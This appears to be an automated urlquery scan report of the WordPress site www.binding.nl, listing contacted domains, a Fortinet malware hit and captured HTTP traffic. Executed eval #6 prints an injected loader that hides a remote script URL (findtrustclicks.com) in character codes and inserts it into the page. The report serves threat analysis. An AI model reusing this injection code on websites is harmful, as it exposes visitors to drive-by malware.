Overview

URLwww.binding.nl/
IP 75.119.144.45 (Germany)
ASN#51167 Contabo GmbH
UserAgentMozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Referer
Report completed2022-11-28 06:51:00 UTC
StatusLoading report..
IDS alerts0
Blocklist alert1
urlquery alerts No alerts detected
Tags None

Domain Summary (46)

Fully Qualifying Domain Name Rank First Seen Last Seen IP Comment
ws12.hotjar.com (1) 63207 No data No data 54.246.158.158
geolocation.onetrust.com (1) 802 2018-09-01 13:33:45 UTC 2022-11-28 05:55:01 UTC 104.18.27.85
widgets.wp.com (1) 10182 2013-06-12 08:26:21 UTC 2022-11-28 06:32:51 UTC 192.0.77.32
thirawogla.com (1) 0 2022-05-25 22:03:02 UTC 2022-11-28 04:50:40 UTC 88.85.94.246 Unknown ranking
www.binding.nl (18) 0 No data No data 75.119.144.45 Unknown ranking
firefox.settings.services.mozilla.com (2) 867 2020-06-04 20:08:41 UTC 2022-11-28 05:55:58 UTC 34.102.187.140
pixel.wp.com (2) 2545 2017-01-30 05:31:40 UTC 2022-11-28 05:51:35 UTC 192.0.76.3
script.hotjar.com (1) 887 2020-11-05 16:23:46 UTC 2022-11-28 05:50:00 UTC 143.204.55.96
ade.googlesyndication.com (1) 262 2018-06-19 23:21:27 UTC 2022-11-28 04:08:15 UTC 142.250.74.162
ocsp.sca1b.amazontrust.com (1) 1015 2017-03-03 15:20:51 UTC 2019-03-27 04:05:54 UTC 143.204.42.165
tenor.wargaming.net (2) 102366 2018-10-25 23:02:12 UTC 2022-11-28 06:30:05 UTC 92.223.21.23
fonts.googleapis.com (1) 8877 2013-06-10 20:14:26 UTC 2022-11-28 05:48:59 UTC 142.250.74.10
r3.o.lencr.org (15) 344 No data No data 23.36.77.32
record.findtrustclicks.com (2) 0 No data No data 89.22.228.250 Unknown ranking
api.pinterest.com (1) 2281 No data No data 151.101.84.84
www.facebook.com (2) 99 2012-05-21 00:23:41 UTC 2021-06-08 06:38:51 UTC 31.13.72.36
pagead2.googlesyndication.com (2) 101 2021-02-20 15:52:05 UTC 2022-11-28 06:28:38 UTC 142.250.74.66
promo.worldofwarships.eu (1) 327898 2020-11-03 06:59:01 UTC 2022-02-07 18:17:34 UTC 92.223.97.97
push.services.mozilla.com (1) 2140 2014-10-24 08:27:06 UTC 2020-05-03 10:09:39 UTC 54.70.239.215
fonts.gstatic.com (5) 0 2014-09-09 00:40:21 UTC 2022-11-28 05:49:11 UTC 216.58.207.195 Domain (gstatic.com) ranked at: 540
long.interestmoments.com (2) 0 2022-11-25 08:09:45 UTC 2022-11-28 04:50:40 UTC 193.169.194.63 Unknown ranking
promo-cdn.worldofwarships.com (25) 355412 No data No data 92.223.97.97
ocsp.digicert.com (10) 86 2012-05-21 07:02:23 UTC 2020-05-02 20:58:10 UTC 93.184.220.29
connect.facebook.net (2) 139 2012-05-22 02:51:28 UTC 2020-02-17 13:26:09 UTC 31.13.72.12
syndication.twitter.com (2) 833 2013-09-20 01:46:47 UTC 2022-11-28 05:55:06 UTC 104.244.42.8
ocsp.godaddy.com (1) 698 2012-05-20 19:28:57 UTC 2020-05-02 20:58:10 UTC 192.124.249.23
www.googletagmanager.com (1) 75 2013-05-22 02:07:37 UTC 2022-11-28 06:09:03 UTC 142.250.74.168
platform.twitter.com (3) 597 2012-05-21 03:34:05 UTC 2020-05-03 05:23:23 UTC 93.184.220.66
img-getpocket.cdn.mozilla.net (6) 1631 2018-06-21 23:36:00 UTC 2020-02-19 04:43:25 UTC 34.120.237.76
vars.hotjar.com (1) 1014 2020-11-05 10:13:14 UTC 2022-11-28 05:50:00 UTC 143.204.55.105
contile.services.mozilla.com (1) 1114 2021-05-27 18:32:35 UTC 2022-11-28 05:46:10 UTC 34.117.237.239
c0.wp.com (15) 6988 2018-09-24 15:59:05 UTC 2022-11-27 16:03:35 UTC 192.0.77.37
ocsp.pki.goog (12) 175 2018-07-01 06:43:07 UTC 2020-05-02 20:58:16 UTC 142.250.74.35
i0.wp.com (27) 3021 2013-09-17 06:14:42 UTC 2022-11-28 05:11:02 UTC 192.0.77.2
static.hotjar.com (1) 641 2014-11-01 05:14:27 UTC 2020-04-26 08:32:02 UTC 143.204.55.98
www.google-analytics.com (1) 40 2012-10-03 01:04:21 UTC 2022-11-28 06:20:04 UTC 142.250.74.174
vc.hotjar.io (1) 2334 No data No data 54.230.111.91
js.interestmoments.com (1) 0 No data No data 193.169.194.63 Unknown ranking
track.wargaming-aff.com (1) 0 No data No data 35.204.130.99 Unknown ranking
trck.wargaming.net (1) 0 2022-11-18 14:07:19 UTC 2022-11-28 03:54:46 UTC 92.223.23.231 Domain (wargaming.net) ranked at: 12915
in.hotjar.com (1) 1746 2018-10-22 17:15:59 UTC 2020-11-20 16:45:40 UTC 52.30.44.244
s0.wp.com (2) 6184 2017-01-30 05:08:18 UTC 2022-11-28 05:18:13 UTC 192.0.77.32
content-signature-2.cdn.mozilla.net (1) 1152 No data No data 34.160.144.191
files.findtrustclicks.com (1) 0 No data No data 89.22.228.250 Unknown ranking
tracking.dbgmhost.nl (1) 0 No data No data 75.119.144.45 Unknown ranking
cdn.cookielaw.org (6) 502 2014-05-20 23:23:17 UTC 2022-11-28 05:54:59 UTC 104.16.148.64

Network Intrusion Detection Systemsinfo

Suricata /w Emerging Threats Pro
 No alerts detected

Blocklists

OpenPhish
 No alerts detected

PhishTank
 No alerts detected

Fortinet's Web Filter
Scan Date Severity Indicator Comment
2022-11-28 2 js.interestmoments.com/scripts/count.js Malware

mnemonic secure dns
 No alerts detected

Quad9 DNS
 No alerts detected


Files

No files detected

Recent reports on same IP/ASN/Domain/Screenshot

Last 1 reports on IP: 75.119.144.45
Date UQ / IDS / BL URL IP
2022-11-28 06:51:00 +0000 0 - 0 - 1 www.binding.nl/ 75.119.144.45


Last 5 reports on ASN: Contabo GmbH
Date UQ / IDS / BL URL IP
2023-02-01 17:10:06 +0000 0 - 0 - 2 selloutshop.ca/key-bk/a8566b52ea1ee748306f4a6 (...) 161.97.168.142
2023-02-01 16:44:02 +0000 0 - 2 - 0 www.cajevi.top/CAJ.zip 161.97.178.236
2023-02-01 15:52:12 +0000 0 - 3 - 0 discountonlytoday269.ga/ 194.163.165.34
2023-02-01 13:03:19 +0000 0 - 0 - 1 braso.online/caueduca.zip 167.86.90.252
2023-02-01 12:47:55 +0000 0 - 2 - 0 vmi1171026.contaboserver.net/a/mirai.x86 178.18.250.52


Last 1 reports on domain: binding.nl
Date UQ / IDS / BL URL IP
2022-11-28 06:51:00 +0000 0 - 0 - 1 www.binding.nl/ 75.119.144.45


Last 5 reports with similar screenshot
Date UQ / IDS / BL URL IP
2023-02-01 04:42:30 +0000 0 - 3 - 21 metafb-dwnyt6x.web.app/ 199.36.158.100
2023-01-30 20:55:21 +0000 0 - 0 - 46 clezgashop.fr/ 185.98.131.141
2023-01-18 12:27:04 +0000 0 - 0 - 3 institution-azahrae.com/ 104.21.57.240
2022-12-07 20:36:03 +0000 0 - 0 - 44 foodheed.com/irtu/index.php?QBOT.zip 199.188.200.95
2022-11-26 06:09:48 +0000 0 - 0 - 9 lalangmanis.com/ 194.233.68.84

JavaScript

Executed Scripts (74)

Executed Evals (6)
#1 JavaScript::Eval (size: 3306) - SHA256: a4da04e17f828f3d72fb11601de6c35a82a3f9a855b5344731d658c403c6afa4
(function() {
    var a = "secureurl.fwdcdn.com poczta.wp.pl poczta.onet.pl 10minutemail.com poczta.interia.pl deref-gmx.net poczta.o2.pl deref-web-02.de 10minutemail.info wot.gcdn.co 10minutemail.net nowapoczta.wp.pl 10minutemail.org 24mail.chacuo.net account.mail.ru mail-pda.rambler.ru m.poczta.onet.pl amail.centrum.cz api-mail.walla.co.il appmail.mail.10086.cn bmail.uol.com.br btmail.bt.com citromail.hu correio.portugalmail.pt deref-mail.com dropmail.me e.mail.ru email.1and1.fr email.bws-school.org.uk nm20.abv.bg nm50.abv.bg email.excite.co.jp orange.fr email.mweb.co.za mail3.nate.com email.mynet.com email.seznam.cz nm80.abv.bg email. nm40.abv.bg email.ukrgas.com.ua eowebmail.eonet.jp euwebmail.mail.126.com nm60.abv.bg nm.abv.bg exchangemail.aquinas.wa.edu.au freemail.net.hr poczta.gazeta.pl freemail.services.in.gr crazymailing.com gmail.hu go.mail.ru guerrillamail.com html5.mail.10086.cn nm70.abv.bg hushmail.com imonmail.com indamail.hu accounts.youtube.com nm30.abv.bg fakemailgenerator.com ipad.mail.tiscali.it m.gmail.hu m.mail. mail2.daum.net m.mail.sohu.com m.my.mail.cz m.abv.bg m.yopmail.com m0.mail.sina.cn m0.mail.sina.com.cn m1.mail.sina.cn m1.mail.sina.com.cn login.live.com oauth.vk.com outlook.live.com emailfake.com nowapoczta.interklasa.pl poczta.pl poczta.int.pl poczta.nazwa.pl webmaila.juno.com pc.tim.it tempr.email 10minut.xyz mailnesia.com account.microsoft.com en.generator.email mail2.oiinternet.com.br mailto.space webmaila.netzero.net webmailb.juno.com emailtemporal.org webmailb.netzero.net webmailrc.nordnet.com account.live.com accounts.login.idm.telekom.com b0x7.want.host:2096 connect.emailsrvr.com email01.godaddy.com email14.godaddy.com email17.godaddy.com emailondeck.com emailsrvr.com generator.email hometel.mymailsrvr.com webmail.virgilio.it mail34b.webmail.libero.it manilamail.iopex.com mbox.webmail.teletu.it m-email.t-online.de migmail.pl mps.kpnmail.nl mtsmail.ca my.mail. my10minutemail.com myemail.cox.net myemail.delta.com nymail.spray.se otvet.mail.ru pdamail.meta.ua pmail.centrum.sk post.mail.kz posti.mail.ee primamail.net rediffmail.com regamail.ru sg2003.webmail.hinet.net sibmail.com spoofmail.de sso.kabelmail.de temp-mail.org t-freemail.net.hr t-mail. tnrc.mail.edu.tw mail01.tcsbank.ru mail1.ammsusa.com mail10.online.ua mail14.cp247.net mail2.online.ua mail2.spectrum.net mail2web.com mail3.online.ua mail4.online.ua mail5.online.ua mail5009.smarterasp.net mail9.online.ua mailbj.xdf.cn mailbox.gr maildrop.cc mailserver.polifarbe.hu mailserver.yoncu.com touch.mail.ru t-pmail.centrum.sk trashcanmail.com trash-mail.com poczta.cal.pl poczta.farutex.pl poczta.su.krakow.pl poczta.zenbox.pl ud-mail.de url.qmail.com uswebmail.mail.126.com vipmail.cnnb.com.cn web.mail.comcast.net webtop.webmail.optimum.net wegwerfemail.de webmail-seguro.com.br webmail-srv2.servage.net wm.cloud-mail.jp webmail04.register.com webmail1. webmail2. webmail30.189.cn webmail4-hki2.hosting.fi webmailcpr04n.ono.com email.it wegwerfemailadresse.com wmail.mediacat.ne.jp wmail.wedos.net yopmail.com zmail.zoznam.sk accounts.google. webmail. mail.".split(" "),
        b = /https?:\/\/([^/:]+)/.exec(google_tag_manager["GTM-58Z37MT"].macro(2));
    if (b)
        for (var c = a.length; c--;)
            if ((new RegExp(a[c] + ".*")).test(b[1])) return null;
    return google_tag_manager["GTM-58Z37MT"].macro(3)
})();
#2 JavaScript::Eval (size: 83) - SHA256: db67f3a811c17993a0388ea2c4679e41f29d21c3a74de4b873ff862df1dfdb07
(function() {
    var b = 2;
    return function(a) {
        a.set("dimension" + b, a.get("clientId"))
    }
})();
#3 JavaScript::Eval (size: 80) - SHA256: 3b2caab2860bf867e6eeb62bd3bb5c1508bc8e756fb4565c686c0f9a69df6087
(function() {
    return google_tag_manager["GTM-58Z37MT"].macro(4).split("?")[0]
})();
#4 JavaScript::Eval (size: 81) - SHA256: 72037339404246c5cc43f719d1f82abc4d9c33f09976df5780a21c80fe7c0c6a
(function() {
    return google_tag_manager["GTM-58Z37MT"].macro(11).split("?")[0]
})();
#5 JavaScript::Eval (size: 81) - SHA256: 810727a20df4cd0bb17f92469f5b1b1f03a934c2397720c36b5e2cfb4f012372
(function() {
    return google_tag_manager["GTM-58Z37MT"].macro(21).split("?")[0]
})();
#6 JavaScript::Eval (size: 699) - SHA256: 75939143d152c820a698a8ea54df7b93c9da93b5292c2e5869f787c0f391946f
 var a = 0;
 var b = 3;
 var c = 6;
 var psdd = document.getElementsByTagName("script");
 c = 6;
 var wantmee = false;
 for (var i = 0; i < psdd.length; i++) {
     if (psdd[i].id) {
         if (psdd[i].id == "slectrepoint") {
             wantmee = true;
         }
     }
 }
 if (wantmee == false) {
     var d = document;
     var s = d.createElement('script');
     c = 6;
     s.id = "slectrepoint";
     s.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 114, 101, 99, 111, 114, 100, 46, 102, 105, 110, 100, 116, 114, 117, 115, 116, 99, 108, 105, 99, 107, 115, 46, 99, 111, 109, 47, 115, 111, 114, 116, 46, 106, 115, 63, 118, 61, 55, 46, 50, 46, 50);
     if (document.currentScript) {
         document.currentScript.parentNode.insertBefore(s, document.currentScript);
     } else {
         d.getElementsByTagName('head')[0].appendChild(s);
     }
 }

Executed Writes (0)


HTTP Transactions (187)


Request Response
                                        
                                            GET / HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

search
                                         75.119.144.45
HTTP/1.1 301 Moved Permanently
Content-Type: text/html
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:46 GMT
Content-Length: 162
Connection: keep-alive
Location: https://www.binding.nl/


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document, ASCII text, with CRLF line terminators
Size:   162
Md5:    4f8e702cc244ec5d4de32740c0ecbd97
Sha1:   3adb1f02d5b6054de0046e367c1d687b6cdf7aff
Sha256: 9e17cb15dd75bbbd5dbb984eda674863c3b10ab72613cf8a39a00c3e11a8492a
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "560CBBB751AB2884024DA3B93FBA6BC45C6434797DBA72A98C05E7FC2BB94BC1"
Last-Modified: Sat, 26 Nov 2022 18:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4988
Expires: Mon, 28 Nov 2022 08:13:55 GMT
Date: Mon, 28 Nov 2022 06:50:47 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 3771
Cache-Control: max-age=103397
Date: Mon, 28 Nov 2022 06:50:47 GMT
Etag: "63833c71-1d7"
Expires: Tue, 29 Nov 2022 11:34:04 GMT
Last-Modified: Sun, 27 Nov 2022 10:31:13 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 471

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "4FD46B0B6A2EA24F5CE175985A3933C04B4C01BD3E32BEE2E50A61A65EEF7AF4"
Last-Modified: Sat, 26 Nov 2022 21:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5935
Expires: Mon, 28 Nov 2022 08:29:42 GMT
Date: Mon, 28 Nov 2022 06:50:47 GMT
Connection: keep-alive

                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.102.187.140
HTTP/2 200 OK
content-type: application/json
                                        
access-control-allow-origin: *
access-control-expose-headers: Content-Type, Content-Length, Alert, Backoff, Retry-After
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 939
via: 1.1 google
date: Mon, 28 Nov 2022 06:17:45 GMT
cache-control: public,max-age=3600
age: 1982
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    4d7e4eed097b9c4e5d509419f1cfc85a
Sha1:   290bb3d428a7c6330e2e3d73a952b16f820896c8
Sha256: 0dc9ca0f57af15adcd416035e92794711434e3d53a1feff21d8481d6d500986c
                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-12-30-09-21-26.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         34.160.144.191
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
x-amz-id-2: nHHrOoAdX0lrENtxAaaC5MpM2n9xb7chIJk6gOqFLmXVjbgf3YOSWaAJqqikP2nYWOqNhMrC07Poy/FL4V3vXQ==
x-amz-request-id: D4M0954AKWRBDAJ6
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
content-length: 5348
via: 1.1 google
date: Mon, 28 Nov 2022 06:41:57 GMT
age: 530
last-modified: Thu, 10 Nov 2022 09:21:27 GMT
etag: "9ebddc2b260d081ebbefee47c037cb28"
cache-control: public,max-age=3600
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    9ebddc2b260d081ebbefee47c037cb28
Sha1:   492bad62a7ca6a74738921ef5ae6f0be5edebf39
Sha256: 74bbb7cba16f7d084a08a0907d47d7496e5c148f904707ec6950f8f6a61027e5
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET / HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: text/html; charset=UTF-8
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 39202
x-cache-handler: cache-enabler-engine
vary: Accept-Encoding
content-encoding: gzip
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PHP/7.4.33, PleskLin
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document text\012- exported SGML document, Unicode text, UTF-8 text, with very long lines (9717), with CRLF, LF line terminators
Size:   39202
Md5:    32fefc4fc5411cbe16b0d3ce1d46b07d
Sha1:   8d7b8536845ddfaaae8f068f0d2546400a4d954f
Sha256: f63c16e744326ab79b1758031084c0736591a414bfd140eb8062ec68f6755b5c
                                        
                                            GET /wp-content/uploads/2019/04/LogoBinding272x90.jpg HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 7568
last-modified: Thu, 10 Nov 2022 08:45:10 GMT
etag: "636cba16-1d90"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 272x90, components 3\012- data
Size:   7568
Md5:    23e958dca064bc2e6c5cfdabcc39f60a
Sha1:   81a7a576532be84c99557d8f8c6e51d93429402c
Sha256: 42d8734e9d28a9a557812952ea2e6dbddfe30abd9a218502ec5592593656818a
                                        
                                            GET /wp-content/uploads/2018/09/AvDuinBanner.png HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 36121
last-modified: Thu, 10 Nov 2022 08:43:13 GMT
etag: "636cb9a1-8d19"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 486 x 66, 8-bit/color RGBA, non-interlaced\012- data
Size:   36121
Md5:    f9ada04f765263e3e16e64a6505def09
Sha1:   fbdcebbb335c0901e5e53ff551d12e5eec753851
Sha256: dcc8a8970d0488548897258f04de1145b8b5731bc9ec4b6189772aee68a3e758
                                        
                                            GET /c/6.1.1/wp-includes/css/classic-themes.min.css HTTP/1.1 
Host: c0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         192.0.77.37
HTTP/2 200 OK
content-type: text/css
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 217
last-modified: Tue, 25 Oct 2022 13:45:16 GMT
expires: Tue, 28 Nov 2023 06:50:47 GMT
cache-control: max-age=31536000
strict-transport-security: max-age=15552000
x-nc: HIT arn 2
timing-allow-origin: *
access-control-allow-methods: GET, HEAD
access-control-allow-origin: *
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   217
Md5:    95e891f28e44a9b314c09545d86be2b7
Sha1:   f9b13a8bd47273b086a0a07df15f314e0af0bc3e
Sha256: 5a5f39391fbf5b06db84b8f9716d53de575ee97a627d2c5f12f79a991a671eb5
                                        
                                            GET /p/jetpack/11.5.1/modules/widgets/facebook-likebox/style.css HTTP/1.1 
Host: c0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         192.0.77.37
HTTP/2 200 OK
content-type: text/css
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 48
last-modified: Mon, 06 Jul 2015 18:16:56 GMT
expires: Tue, 28 Nov 2023 06:50:47 GMT
cache-control: max-age=31536000
strict-transport-security: max-age=15552000
x-nc: HIT arn 2
timing-allow-origin: *
access-control-allow-methods: GET, HEAD
access-control-allow-origin: *
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   48
Md5:    c3d0405efa850b70d21c25e3d71a464e
Sha1:   6edb9046f6838ca6c274f5c7703889341dfcb674
Sha256: 9fbd3c2713beacc2285bd418877d4a36273244eabf9df9f488bbd6f5ec2c467d
                                        
                                            GET /wp-content/uploads/2019/04/KopBinding-website-300x50.png HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 2511
last-modified: Thu, 10 Nov 2022 08:45:10 GMT
etag: "636cba16-9cf"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 300 x 50, 8-bit colormap, non-interlaced\012- data
Size:   2511
Md5:    40386f70c7c31863c7b428a4773a7fdd
Sha1:   0c09c568e4676440771e0a537989473575131aa1
Sha256: 9103e3910294b7bd69b115e09d738d628a733f0d8cf50eadd507cfd7ca62b3c9
                                        
                                            GET /p/jetpack/11.5.1/_inc/build/twitter-timeline.min.js HTTP/1.1 
Host: c0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.37
HTTP/2 200 OK
content-type: application/javascript
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 270
last-modified: Thu, 22 Sep 2022 17:43:06 GMT
expires: Tue, 28 Nov 2023 06:50:47 GMT
cache-control: max-age=31536000
strict-transport-security: max-age=15552000
x-nc: HIT arn 2
timing-allow-origin: *
access-control-allow-methods: GET, HEAD
access-control-allow-origin: *
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   270
Md5:    18af70e911ed6d73672ef0940705e293
Sha1:   7507fc902699c257c250fb0319a2dbf781a96bdd
Sha256: 3688a29bbda548acee73eb4383de2cfe65fee84e27fe7d2bccb7d670f697fa18
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.35
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 06:50:47 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /wp-content/plugins/wp-event-calender/css/style.css?ver=6.1.1 HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
